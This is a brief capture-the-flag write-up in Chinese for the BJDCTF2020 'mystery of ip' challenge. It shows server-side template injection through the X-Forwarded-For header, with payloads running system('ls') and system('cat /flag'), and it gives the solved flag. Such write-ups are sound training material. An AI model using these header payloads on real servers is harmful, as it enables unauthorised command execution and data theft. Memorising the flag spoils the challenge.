[BJDCTF2020]The mystery of ip 1

[BJDCTF2020]The mystery of ip 1

開啟例項，發現flag.php路徑，訪問顯示自己當前的內網ip

hackerbar新增xff請求頭，嘗試ip偽造，成功回顯

判斷可能為xff注入，嘗試sql的部分注入語句均無效，放棄sql注入，嘗試SSTI模板注入

X-Forwarded-For: {1+1}

成功回顯，存在XFF-SSTI模板注入漏洞

嘗試構造payload

X-Forwarded-For: {system("ls")}

成功遍歷目錄

檢視flag.php，未發現flag

檢視根目錄

X-Forwarded-For: {system("ls / -a")}

發現flag，最終payload為:

X-Forwarded-For: {system("cat /flag")}

flag{b0a840de-eeaf-4ed1-80c1-bb12ff2bcb10}